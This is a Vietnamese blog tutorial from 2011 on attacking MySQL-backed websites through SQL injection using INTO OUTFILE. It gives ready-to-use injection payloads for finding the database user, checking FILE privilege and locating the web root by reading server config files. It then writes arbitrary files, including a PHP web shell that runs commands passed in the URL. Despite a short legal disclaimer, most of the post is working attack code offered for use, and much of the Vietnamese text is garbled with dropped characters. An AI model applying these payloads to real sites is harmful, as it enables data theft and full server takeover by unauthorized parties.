Saturday, July 9, 2011

[Tut] Kỹ thuật tấn công SQLi sử dụng lệnh into outfile của mysql

Trong bài viết này tôi s đ cp đến câu lnh "into outfile", 1 câu lnh mc đnh ca MySQl nhưng li rt hu ích cho các attacker khi tn công web b dính li SQL Injection (tt nhiên DBs là MySQL). Ngoài ra chúng ta cũng s xem xét qua mt s điu kin như quyn đi vi file (FILE privilege) và vn đ thư mc liên quan.

Chú ý: Tn công mt website mà chưa có s đng ý ca ch nhân là vi phm pháp lut. Bài viết này ch mang tính nghiên cu và hc hi. Tôi khuyến khích mi người nên t cài đt h thng trên máy ca mình và th nghim, không nên tn công phá hoi các site trên thc tế - c0mm3nt 2009

1. Quyn FILE (FILE privilege)
Nếu chúng ta mun đc hay ghi các file thì MySQL user phi được cp quyn FILE
Th xem xét mt s lnh sau đây:
1' union select current_user,null/*

hoc
1' union select user(),null/*

Các câu lnh này có th cung cp thông tin v MySQL user hin ti, dng như:
Usernam@server
Chúng ta s tiếp tc khai thác thông tin v user này trong phn sau

Hoc bn cũng có th đoán tên user bng Blind SQLi nếu như không union được. Các câu lnh ví d:
1' and user() like 'root
1' and mid(user(),1,1)
1' and mid(user(),2,1)>'m
1' and ascii(substring(user(),1,1))>64
.....

Khi chúng ta đã biết username, ta có th kim tra xem user này có quyn FILE hay không
Đu tiên chúng ta s c gng truy cp vào bng mysql.user:
1' union select file_priv,null from mysql.user where user='username
Chú ý thay username câu lnh trên bng username mà các bn va tìm được http://hcegroup.net/hceteam/images/smilies/yahoo/Tounge.gif

Bn cũng có th kim tra quyn FILE trong bng trên mà không cn thêm mnh đ where, tuy nhiên tôi vn thêm nó vào vì đây là cách nhanh và d dàng nht - khi chuyn sang Blind http://hcegroup.net/hceteam/images/smilies/yahoo/Big%20Grin.gif:
1' and mid((select file_priv from mysql.user where user='username'),1,1)='a
ng có thêm NULL đây, vì đây ko phi là union select http://hcegroup.net/hceteam/images/smilies/yahoo/LOL.gif)

Cách trên có th áp dng cho c Mysql version 4.x và 5.x
Nếu MySQL là 5.x ta còn có th xem quyn FILE ngay trong information_schema

0 union select grantee,is_grantable FROM information_schema.user_privileges where privilege_type = ‘file’ and grantee like ‘%username%

Vi blind:
1 and mid((select is_grantable from information_schema.user_privileges where privilege_type = ‘file’ and grantee like ‘%username%’),1,1)=’Y

Nếu bn không th truy cp vào bng mysql.user hoc information_schema.user chúng ta cũng c th bước tiếp thao sau đây. Tuy nhiên nếu bn đoán rng bn không có quyn FILE thì cách khai thác s dng INTO OUTFILE s không thc hin được

2. Vn đ v thư mc web
Khi chúng ta biết chc rng mysql user hin ti có quyn FILE, chúng ta cn phi tìm cho được đường dn chính xác đến thư mc/file mà ta mun ghi file
Trong hu hết các trường hp MySQL server được chy cùng server vi server web hosting vì thế ta có th t thư mc ghi file mc đnh chuyn ra thư mc web bng các du ../
Vi Mysql ver 4, ta có th tìm đường dn datadir bng hin th li ca câu lnh:
0 UNION SELECT load_file(’a'),null/*

Trong mysql 5 thì có th union select:
0 UNION SELECT @@datadir,null/*

Thư mc mc đnh đ ghi file sdatadir\databasename
Bn có th biết được tên databasename bng câu lnh
0 UNION SELECT database(),null/*

Nếu may mn, chúng ta có th thy các warning ca các lnh như mysql_result(), mysql_free_result(), mysql_fetch_row() hoc các lnh tương t. Trong các warning này s hin th đườn dn đến thư mc web và chúng ta d dàng xác đnh được thư mc đ ghi file lên. Các warning này có dng như
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/shop/shopping2/list1.html on line 80

đ hin th warning này có th th câu lnh 0 AND 1=’0

Cách làm trên có hiu qu đi vi hu hết mi website, tuy nhiên nếu thông báo li ca mysql b tt thì bn có th c gng đoán thư mc cha web bng cách s dng lnh LOAD_FILE() đ load và đc các file cu hình. 1 s đường dn mc đnh đến file cu hình:

/etc/init.d/apache
/etc/init.d/apache2
/etc/httpd/httpd.conf
/etc/apache/apache.conf
/etc/apache/httpd.conf
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/httpd.conf
/opt/apache/conf/httpd.conf
/home/apache/httpd.conf
/home/apache/conf/httpd.conf
/etc/apache2/sites-available/default
/etc/apache2/vhosts.d/default_vhost.include


Cũng cn chú ý xem h điu hành ca webserver là *nix hay win đ mà đoán cho tt http://hcegroup.net/hceteam/images/smilies/yahoo/smile.gif

Thông thường thư mc gc cha web thường đt :
/var/www/html/
/var/www/web1/html/
/var/www/sitename/htdocs/
/var/www/localhost/htdocs
/var/www/vhosts/sitename/httpdocs/

bn có th google đ tìm thêm

Thông thường bn có th ghi files lên tt c các thư mc mà Mysql server có quyn ghi lên, min là bn có quyn FILE. Tuy nhiên Admin có th gii hn các thư mc có th ghi được t public. Xem thêm ti http://dev.mysql.com/doc/refman/5.1/...s-options.html

3. To ra các file hu dng
Khi bn đã chc chn có quyn FILE và xác đnh được thư mc đ ghi file, bn có th tiến hành ghi bng câu lnh SQL

0
UNION SELECT columnname,null FROM tablename INTO OUTFILE ‘../../web/dir/file.txt

Hoc là ghi bt c d liu gì, khi ta không biết tên bng và ct:
1 OR 1=1 INTO OUTFILE ‘../../web/dir/file.txt

Nếu mun b các ký t splitting trong d liu, ta có th s dng INTO DUMPFILE thay vì INTO OUTFILE

Cũng có th kết hp gia load_file() đ đc các file trên server
0 AND 1=0 UNION SELECT load_file(’…’) INTO OUTFILE ‘…

Trong mt s trường hp ta cn s dng hex và unhex:
0 AND 1=0 UNION SELECT hex(load_file(’…’)) INTO OUTFILE ‘…

Hoc bn có th ghi bt c th j vào file, như là webshell chng hn
0 AND 1=0 UNION SELECT ‘code’,null INTO OUTFILE ‘../../web/server/dir/file.php

Đây là 1 s vì d:
// PHP SHELL
<? system($_GET['c']); ?>

hoc passthru nếu mun

// webserver info
<? phpinfo(); ?>

// SQL QUERY
<? ... $result = mysql_query($_GET['query']); … ?>

Cui cùng, 1 s chú ý v kiu khai thác này:
-Không th overwrite file vi câu lnh này
-INTO OUTFILE phi là mnh đ cui cùng trong câu truy vn
-Tôi không biết cách nào đ mã hóa FILENAME trong INTO OUTFILE('FILENAME') chn ' thì không khai thác được, biết cách khai thác vui lòng PM
-có th mã hóa code bn mun ghi vào file bng lnh char()

No comments:

Post a Comment